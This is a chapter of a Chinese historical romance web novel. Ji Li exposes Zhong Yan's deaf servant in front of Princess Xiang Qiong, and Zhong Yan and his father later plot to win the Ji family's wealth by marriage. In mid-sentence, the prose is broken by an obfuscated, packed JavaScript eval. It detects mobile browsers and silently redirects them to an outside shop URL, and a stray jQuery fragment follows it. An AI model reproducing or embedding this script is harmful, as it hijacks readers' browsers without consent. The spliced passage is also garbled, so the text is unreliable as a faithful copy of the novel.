近在眼前的心上人,却在大庭广众之下扑向别的女孩。这画面,任谁看了都受不了,何况是外强中干的项琼公主。
男女授受不亲,这要是真跌到季礼身上,项琼不知道自己的脸要往哪放。
眼前的景象像就慢动作,钟砚缓缓倒下,她全身的血跟着一寸一寸凉了下来,手脚麻木。
她捂住嘴站在原地,眼睛睁得大大的,一动也不能动。
季礼也吓了一跳,但很快反应了过来,忙伸手去挡。
这电光火石时间她倒是没想别的,第一反应是就是要收着点劲,别手重伤了人。
预想中的人,却并没有倒下来。
一直跟在钟砚身侧的小厮眼疾手快,一把托住了他的胳膊肘,把他歪歪斜斜的身子捞了回来。
季礼松了一口气。
然后有点生气!这驴屎蛋儿是不是傻?就这水平还敢在外面跟人拼酒!
钟公子倒似如梦初醒一般,站直了身子,四下看了看,脸上有点烧。
他躬身行礼:“钟砚见过项琼公主,公主金安,方才失态,让公主见笑了。”
项琼也是奇怪,刚刚还气鼓鼓像个炸毛的猫,这会真到了人跟前了,又端起了公主的矜贵做派,眼睛故意不看他:“季小姐好大的派头,怎么不行礼啊?”
关我什么事啊??季礼心里翻了个白眼。真是人在桌前坐,锅从天上来!
但还是恭恭敬敬地行了个礼。
项琼继续找茬:“季礼,听说这京城的男人就没有你看得上的,今日怎么会跟钟公子一起喝酒啊?”
季礼淡淡说:“这不是之前没见过钟公子嘛。”
“你!”
项琼又戳出一根手指,想到上次的惨痛经验,又缓缓把手放下。
钟砚闻言则心中狂跳,不敢吱声。
项琼心里有气,又不愿在心上人面前露了心意,季礼那厢也不是好惹的,只得胡乱把气撒在别处。
她指着钟砚身边的小厮说道:“你,去把刚刚他们喝的酒给我倒一杯。”
小厮却垂首站在钟砚身后,一动不动。
项琼气得要疯,好嘛,就连一个小厮也敢跟我作对!
“你是聋子嘛?没听见本公主的话嘛?”项琼说着抬手就要抽他。
手却一把又被季礼攥住了。
“你!!”
项琼眼睛倏得睁大了两圈。
“你干嘛拦着我?我教训一个不中用的奴才还要你管?”
季礼:“他真是个聋子,公主犯不着跟一个聋子计较吧。”
众人都是一怔,钟砚的酒登时醒了大半。
她是怎么知道的?
这名聋仆,也是不久前父亲刚拨给他的。
说也奇怪,前段时间京兆府的杂役接二连三生病,又赶上年节,一时间缺人缺得厉害。
京兆府姚管家急得团团转,忙在人牙子那一口气挑了五六个精壮的小伙子,
还搭上一个聋子。
人牙子说,这小聋子因为瘦弱,已经好久没人要了,老主顾,算送个添头。
姚管家想着有便宜不占王八蛋啊,虽然现在不壮,但好在年纪不大,回家好好喂喂,说不定还能顶点用。
没想到果然便宜没好货。
这少年长得细细溜溜,笨手笨脚啥也干不好,气的管事的跟人牙子吵了一架,差点退货。
人牙子当然不肯退,已是一手交钱一手交人,哪还有退人的理。末了却眼珠一转,给姚管家出了个馊主意:“去老爷院里伺候最合适了。”
姚管家一口茶差点喷出来,给老爷?想屁吃呢!要知道往日里,那是最聪明伶俐的才能去老爷院子里当差的!
人牙子眉飞色舞地继续忽悠,发出灵魂拷问:“伺候老爷的最重要的是什么?”
“最要紧的是忠心可靠,是嘴严安全!聪明伶俐顶个球用!这世上,谁能比一个聋子安全!!”
姚管家仔细一琢磨,好像是这么个理!
于是抱着死马当活马医的想法,寻了个机会跟钟大人提了一嘴,没想到钟大人一听,眼前竟是一亮,马上把聋仆拨给了自己的宝贝儿子,才有了今天这一幕。
这季小姐又何曾得知呢?
钟砚百思不得其解。
季礼撒开手:“他是个聋子,听不见你的声音很正常,并不是故意抗命,你干嘛打他?”
项琼揉揉自己的手腕,狐疑道:“他是真的听不见?”
钟砚连忙回道:“回公主,臣这个奴才真的是个聋子,不是有意冒犯公主的。”
项琼一脸嫌弃:“你堂堂京兆府公子,什么聪明伶俐的人没有,怎么会用一个聋子啊?”
钟砚叹气,幽幽说道:“公主有所不知,这聋仆着实可怜,幼时染了病没钱医治,这才落下了耳疾。家中还有个垂危的老父,谋生无门,处处碰壁。家父心生恻隐,这才收留了他,好歹能挣个活命钱。”
他顿了顿,又道:“我这年轻力壮的,也不需要怎么伺候,平时带在身边也就是个摆设,照应些茶水琐事罢了。聋仆本就不机灵,今日无意冒犯公主,还望公主念他身世可怜的,饶他这一回。”
众人听了,赞叹不已。
“钟大人真是菩萨心肠!”
“是啊!这残障之人谋生当真艰难,钟大人不愧是京城的父母官,心中挂念着百姓疾苦啊。”
赞叹声此起彼伏。
季礼也不禁看向钟砚,多了几分敬意。
先前......是小瞧了这朵小兰花了。
钟砚感受到了季礼的目光,也转头看了回去,轻声问道:“但是,季小姐是如何得知的呢?”
季礼其实也是瞎猜的。
方才两人喝酒的时候,钟砚只用手势示意,季礼就有所感。
而且,二人讲了这许久的话,钟砚都没有把下人支开的意思。
世家子弟脸皮最是薄,按季礼以往的经验来看,就算是最不要脸的公子,跟姑娘套近乎的时候,也不喜欢有下人在场。
万一被拒绝了多没面子啊!
如果说前面季礼只有隐隐约约的感觉,直到项琼发这么大的脾气,这小厮却一点知觉都没有的时候,她才确定,这个小厮,应该不是个五感健全的人。
这么多弯弯绕绕,季礼也懒得细细解释,便装起一副讳莫如深的样子来:“我猜的。”
项琼自是不信,跳脚叫了起来:“骗人!你骗人!你明明才同钟公子说了一会话而已,你怎么能猜到?!”
季礼:“我聪明呗,你理解不了也正常。”
一句话把项琼的脸堵的通红。
季礼居然说她笨!还是在钟公子面前!
当即眼泪就在眼中打起转来。
季礼向来吃软不吃硬,一看她这幅模样,又想起来这丫头还比自己小几岁呢。
她叹气,真是的,小小年纪不学好,为个不值钱的男人哭。
于是季礼出其不意,推了钟砚一把。
钟砚猝不及防,整个人被推出去老远,正巧撞在项琼身上。
“啊——!”项琼失声惊叫,眼见就要摔个狗吃屎,钟砚慌忙伸手去扶,自己却也刹不住车,顺势把对方拉入自己怀中。俩人就这样满怀抱着,摔进了项琼身后叽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968733|214612||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叽喳喳的小姐妹堆里。
季礼双手拢在嘴边,笑嘻嘻的,对那边摔得乱七八糟的人喊道:“钟公子——好生照看公主殿下,要把公主殿下弄哭了,我可不饶你!”
说完,她扯扯裙角,拎起没喝完的半瓶酒,转身离去。
路过那聋仆身侧时,季礼余光一撇,怎么觉得他好像在看着自己。
一扭头,聋仆却猛然低头,向后退开半步。
“奇怪。”季礼心想。“我很可怕么?”
***
夜深人静,聋仆只身一人立在京兆尹邸的书房门外。
以他为圆心,府中侍卫层层包围,形成一个圆圈,将书房围在里面。
书房内闪着豆大的一点烛火,房门紧闭,传来压得低沉的谈话声。
”这么说,那季家女够细心的,居然发现了聋仆的秘密。”一个沙哑的声音说道,正是京兆府尹,钟启。
“回父亲,正是。”白天里还呆头呆脑的钟砚,此时眼里却写满了精明:“孩儿与她接触了不过短短半个时辰,她先是找机会灌醉我,又发现小福是个聋子。这季家女看起来大大咧咧,不着四六,实则却心细如发,不知是不是.......”
钟砚的声音小了下去。
“是不是装的?”钟启接上话头。
“是。”钟砚轻叹,“如果是刻意为之,那未免演的太好了些。”
“今日亏得我编了套行善积德的说辞出来,才算掩饰过去。万幸她只发现了他是个聋子,没看出什么其他的来。”
聋仆算得上是钟启给儿子寻得的一件秘密宝贝。
起初的确是买壮丁送的添头,没成想倒是开出了彩票。钟启多疑,身边的人换来换去,也总担心儿子身边的人不够可靠。聋仆天生听不见,自然少了泄密的隐患,拨个聋子服侍儿子,当爹的安心多了。
后来竟惊喜的发现,这聋仆居然会两脚功夫,虽看不出何门何派,但随意几下却异常的管用。人牙子那只说,发现他的时候一身是伤,一片破草席卷着父亲,差一点就埋了,后来发现还有口气,就捡了回来。
钟启给他的老父亲找了住处,用上了药,聋仆自然十分感激。从此以后整天跟挂件儿似的跟着钟砚,走到哪里就护倒哪里。在外人眼里,也不过是个不起眼的小厮,并不会引人注意。
今日居然被季礼乱拳打中老师傅,猜中了一半。
钟启恨恨道:“不知道季鹏那老家伙葫芦里卖的什么药!真厉害啊,人离京城千里,仅凭一个十几岁的丫头,就把朝堂中的水搅浑了去,从前还真是小瞧了这一介武夫!”
又道:“都说舍不得孩子套不住狼,把自己最心爱的小丫头都祭出来了,这老季头还真是下了血本了!”
钟砚没有接话。
钟启拍拍他的肩:“不是说你啊,别想多了,为父做这一切,也不过为了你的前程着想。”
钟砚抱拳:“孩儿明白。”
犹豫了一下,还是问出了口:”可是.....项琼公主之前已经对孩儿频频示好。与其去争取季家,不如守着公主.....”
钟启抬手打断他,略微提高了声音:“项琼算什么?不过是一个不受待见的公主罢了。”
回头揽住儿子的肩头:“季家水师,论沙场杀伐,自是远不及北疆诸将。”
“但江南富庶,他又把控着南方水系要道,钱粮源源不绝。对朝廷而言,别的将军还在要饭,豹子头这边却是实打实的钱袋子啊!”
他直看到儿子眼底去:“所以说到底,谁能娶得季家女,谁就攥住了一个“财”字。这世道,哪一样离得了银子呢?”